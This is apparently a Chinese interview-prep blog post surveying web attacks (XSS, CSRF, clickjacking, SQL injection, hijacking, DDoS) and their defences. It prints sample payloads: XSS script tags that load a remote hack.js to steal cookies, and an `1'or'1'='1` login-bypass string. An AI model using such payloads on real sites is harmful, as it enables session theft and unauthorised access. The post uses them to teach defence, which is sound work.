常见的web攻击方法和防御手段,你了解过吗

286 阅读4分钟

作为前端面试经常可能会问到的web相关安全问题,特地整理了一些常见的web攻击方式,理解了可以帮助你在面试过程中不慌不忙~

常见的web攻击方式

  • XSS

  • CSRF

  • 点击劫持

  • SQL注入

  • OS注入

  • 请求劫持

  • DDOS

防范方法

  • 密码安全-密码加固
  • 密码学
  • 传输安全-https
  • Nodejs安全框架
  • CSP策略

一、XSS 跨站脚本攻击

  • 利用虚假输入表单骗取用户个人信息
  • 利用脚本窃取用户的cookie值,在不知情的情况下,帮助攻击者发送恶意请求
    • 显示伪造的文章或图片

1.1、XSS攻击分类

  • 反射型-url参数直接注入(通过短连接生成伪装)
//普通
http://localhost:3000/?from=china

//alert尝试
http://localhost:3000/?from=<script>alert(3)</script>

//获取cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>

//伪造cookie入侵chrome
document.cookie = "xxx"
  • 存储型 存储到DB后读取注入
//评论
<script>alert(1)</script>

//跨站脚本注入
我来了<script src="http://localhost:4000/hack.js"></script>

1.2、XSS攻击的危害

  • 获取页面数据
  • 获取cookie
  • 劫持前端逻辑
  • 发送请求
  • 偷取网站任意数据
  • 偷取登录态
  • 欺骗用户

1.3、XSS防御手段

  • HEAD
ctx.set('X-XSS-Protection',0)
//禁止xss过滤(容易被伪装,现在已启用,safari有效)


> 0禁止过滤

> 1启用XSS过滤
  • CSP

内容安全策略,本质上是建立白名单,明确告诉浏览器哪些外部资源可以加载和执行,我们只需要配置规则,如何拦截是由浏览器自己实现。

//只允许加载本站资源
Content-Security-Policy:default-src 'self'

//只允许加载Https协议图片
Content-Security-Policy:img-src https://*

//不允许加载任何来源框架
Content-Security-Policy:child-src 'none'
配置方法:
ctx.set('Content-Security-Policy',"default-src 'self'")
  • 转义字符

用户输入用于不可信任,最普遍的方法是对输入内容进行转义,对于引号,尖括号,斜杆进行转义,特别是对于==富文本输入框==要进行拦截

function escape(str){
    str = str.replace(/</g,'&lt;')
    ...
}
或者使用外部库
  • HttpOnly Cookie

预防窃取用户cookie最有效的防御手段,在设置cookie时将其属性设置为HttpOnly

response.addHeader('Set-Cookie','uid=112;Path=/;HttpOnly')

二、CSRF 跨站请求伪造

是一种常见的Web攻击,通过利用用户已登录的身份,在用户不知情的情况下完成非法操作】

2.1、CSRF危害

  • 利用用户登录态
  • 用户不知情
  • 完成业务请求
  • 盗取用户资金(转账,消费)

2.2、防御方法

  • Referer Check -Https 不发送referer(比较古老),一般在https请求里会带这个字段,用于溯源
 app.use(async (ctx,next)=>{
     await next()
     const referer = ctx.request.header.referer;
     console.log()
 })
  • 验证码 人机图像验证码 + 短信
  • cookie值加hash

三、点击劫持

是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过iframe嵌套的方式嵌入自己的网页中,并将ifame设置为透明,在页面中透出一个按钮诱导用户点击,最经常的例子就是小游戏广告

3.1防御

  • X-FRAME-OPTIONS

这是一个http响应头,在现代浏览器有一个很好的支持。这个响应头就是为了防御iframe嵌套的点击劫持攻击。

该响应头有三个值可选

  • DENY 表示页面不允许通过iframe的方式展示
  • SAMEORIGIN 表示页面可以在相同域名下通过iframe的方式针织
  • ALLOW-FROM 表示页面可以在指定来源的iframe中展示
ctx.set('X-FRAME-OPTIONS','DENY')

四、SQL注入

示例:

//填入特殊密码
1'or'1'='1

//拼接后的SQL
SELETC * 
FROM test.user
WHERE username = 'xxxx'
AND password = '1'or'1'='1'  //后面那个1=1永真,则可以跳过

4.1 如何防御

  • 对进入数据库的特殊字符进行转义处理
  • 后端检查输入的数据是否符合预期,严格限制变量的类型,使用正则进行一些匹配处理
  • 严格限制WEB应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限

五、请求劫持

  • DNS劫持,dns被劫持导致访问得到的不是预期的ip地址
    • 投诉到运营商和工信部
    • ipv6
  • HTTP劫持
    • 可通过升级HTTPS解决

六、DDOS攻击

主要是恶意发送大量正常的请求,超出服务器的最大承受量,导致宕机。

6.1防御手段

  • 备用网站,让用户短暂先访问备用网站,降低影响,最低限度可以显示公告,告诉用户网站出问题了在抢修。
  • HTTP 请求拦截,高防IP - 靠谱的运营商(阿里云腾讯云)
  • 硬件,服务器,防火墙
  • 带宽扩容+cdn
  • 提高犯罪成本